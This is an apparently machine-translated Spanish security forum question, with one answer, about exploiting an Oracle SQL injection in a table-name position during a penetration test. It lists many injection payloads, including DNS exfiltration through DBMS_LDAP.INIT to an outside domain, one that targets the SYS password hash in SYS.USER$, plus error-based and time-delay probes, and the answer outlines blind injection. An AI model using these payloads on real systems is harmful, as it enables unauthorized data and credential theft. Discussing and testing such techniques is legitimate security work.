PL / SQL inyección y exfil de datos

3

Durante una prueba de la pluma, me topé con el siguiente error mientras confundía algunos parámetros:

* Estado HTTP 500 - org.springframework.jdbc.BadSqlGrammarException: PreparedStatementCallback; mala gramática SQL [select * from% 27 donde 1 = 0]; la excepción anidada es java.sql.SQLSyntaxErrorException: ORA-00911: carácter no válido *

Inmediatamente comencé a ejecutar sqlmap sobre él para ver si había alguna carga útil conocida para aprovechar esta vulnerabilidad potencial. Desafortunadamente, sin suerte, sqlmap volvió a estar limpio. Aquí están los resultados:

[03:48:15] [WARNING] POST parameter 'dataTable' is not injectable
[03:48:15] [CRITICAL] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. As heuristic test turned out positive you are strongly advised to continue on with the tests. Please, consider usage of tampering scripts as your target might filter the queries. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment')
[03:48:15] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 104 times

En este punto, decidí hacerlo por mi cuenta ya que estaba bastante seguro de que podría sacar algo. Por lo que pude ver, la consulta en cuestión se parece en algo a esto SELECT * FROM {payload here} WHERE 1=0 , por lo que puedo inyectar donde debería estar el nombre de la tabla. Intenté DUAL, (SELECT * FROM DUAL) -- que daría como resultado SELECT * FROM DUAL, (SELECT * FROM DUAL) -- WHERE 1=0 que resultó en un

< HTTP/1.1 200 OK < Date: Wed, 30 Sep 2015 10:26:37 GMT

que fue bastante alentador, ya que parecía que podía ejecutar sentencias arbitrarias siempre y cuando fueran correctas en el contexto de una sentencia SELECT. Desafortunadamente, con el 200OK vino una página en blanco, lo que significa que no pude extraer fácilmente los datos que consulté ya que no se devolvieron los resultados de la consulta. Pensé que la ex filtración de DNS podría ser una buena idea, pero desafortunadamente, ejecutar la carga útil DUAL, (SELECT SYS.DBMS_LDAP.INIT((SELECT * FROM DUAL WHERE rownum = 1)||'.domain.com',80) FROM DUAL) -- resultó en java.sql.SQLException: ORA-24247: network access denied by access control list (ACL) , lo que significa que DNS no funcionaría.

La única otra opción para el exfil de datos que podría pensar sería a través de la conversión de errores personalizados, ya que los errores de SQL (seguimiento de la pila completa) parecen ser devueltos con 500 respuestas. Al no ser un experto en PL / SQL, comencé a investigar y encontré que posiblemente podría usar sql dinámico y después de muchas iteraciones y depuración surgió la siguiente carga útil DUAL, (SELECT SYS.DBMS_SQL.EXECUTE('RAISE_APPLICATION_ERROR(-20010, ''BINGO.'')') FROM DUAL) -- que resultaría en una consulta final similar a este select * from DUAL, (SELECT SYS.DBMS_SQL.EXECUTE('RAISE_APPLICATION_ERROR(-20010, ''BINGO.'')') FROM DUAL) -- where 1 = 0 . Desafortunadamente, esto también resultó en un error org.springframework.dao.DataIntegrityViolationException: PreparedStatementCallback; SQL [select * from DUAL, (SELECT SYS.DBMS_SQL.EXECUTE('RAISE_APPLICATION_ERROR(-20010, ''BINGO.'')') FROM DUAL) -- where 1 = 0 ]; ORA-01722: invalid number

Me estoy quedando sin ideas ahora, pero todavía estoy investigando algunas funciones PL / SQL más que podrían ser útiles ya que confío en que hay una solución y disfruto del desafío.

Sí, acepto que este foro no es para responder preguntas sobre cómo romper la seguridad de un sistema en particular y lo respeto, por lo que formularé mi pregunta de manera diferente: dadas las limitaciones de la declaración preparada y la posición de la carga útil en La declaración SELECT, ¿es el enfoque que estoy tomando incluso válido y existe la posibilidad de filtrar los datos a través de la conversión de errores personalizados similares a mi ejemplo de carga útil? ¿Alguna otra sugerencia?

Espero aprender algo en el proceso.

PS. Aquí están solo algunas de las otras cargas útiles que intenté sin suerte:

SESSION_PRIVS, (SELECT SYS.DBMS_LDAP.INIT((SELECT PASSWORD FROM SYS.USER$ WHERE NAME = 'SYS')||'.domain.com',80) FROM DUAL) --
SESSION_PRIVS, (SELECT * from all_tables) --
SESSION_PRIVS, (SELECT SYS.DBMS_LDAP.INIT((SELECT * FROM SESSION_PRIVS where rownum = 1)||'.domain.com',80) FROM DUAL) --
SESSION_PRIVS, (SELECT SYS.DBMS_LDAP.INIT((SELECT * FROM SESSION_PRIVS where rownum = 1)||RAISE_APPLICATION_ERROR(-20000, 'Bingo.') FROM DUAL))--
SESSION_PRIVS, (SELECT SYS.DBMS_SQL.EXECUTE(RAISE_APPLICATION_ERROR(-20010, 'Bingo.'))) --
SESSION_PRIVS, (SELECT SYS.DBMS_SQL.EXECUTE(RAISE_APPLICATION_ERROR(-20000,'Bingo.'))FROM DUAL) --
(SELECT SYS.DBMS_SQL.EXECUTE('RAISE_APPLICATION_ERROR(-20010, ''Bingo.'')') FROM DUAL) --
(SELECT SYS.DBMS_SQL.EXECUTE('RAISE_APPLICATION_ERROR(-20000, ''202'')') FROM DUAL) --
TO_NUMBER((SELECT SYS.DBMS_SQL.EXECUTE('SELECT 10 FROM DUAL') FROM DUAL)) --
DUAL, (SELECT SYS.DBMS_SQL.EXECUTE('RAISE_APPLICATION_ERROR(-20010, ''BINGO.'')') FROM DUAL) --
DUAL, (SELECT * FROM DUAL) --
DUAL, ( SELECT SYS.DBMS_SQL.EXECUTE(EXECUTE IMMEDIATE 'DBMS_LOCK.SLEEP(30)') FROM DUAL ) --
DUAL, ( SELECT SYS.DBMS_SQL.EXECUTE('DBMS_LOCK.SLEEP(30)') FROM DUAL ) --
DUAL, ( SELECT SYS.DBMS_SQL.EXECUTE(DBMS_SQL.PARSE('DBMS_LOCK.SLEEP(30)')) FROM DUAL ) --
DUAL || 'thing' --
    
pregunta ilikebeets 30.09.2015 - 13:08
fuente

1 respuesta

2

Los resultados devueltos (código 500 y código 200) podrían ser el punto de inicio de un pentest de inyección de Blind SQL. Si conoce el motor de base de datos, puede adivinar las tablas del sistema y probar su presencia. Si DUAL, (SELECT * FROM system_table) - devuelve 200 (syste_table es un ejemplo), esta tabla existe, etc. Luego puede deducir los nombres de sus respectivos campos probando los posibles valores o letra por letra.

    
respondido por el Sorcha 30.09.2015 - 14:03
fuente

Lea otras preguntas en las etiquetas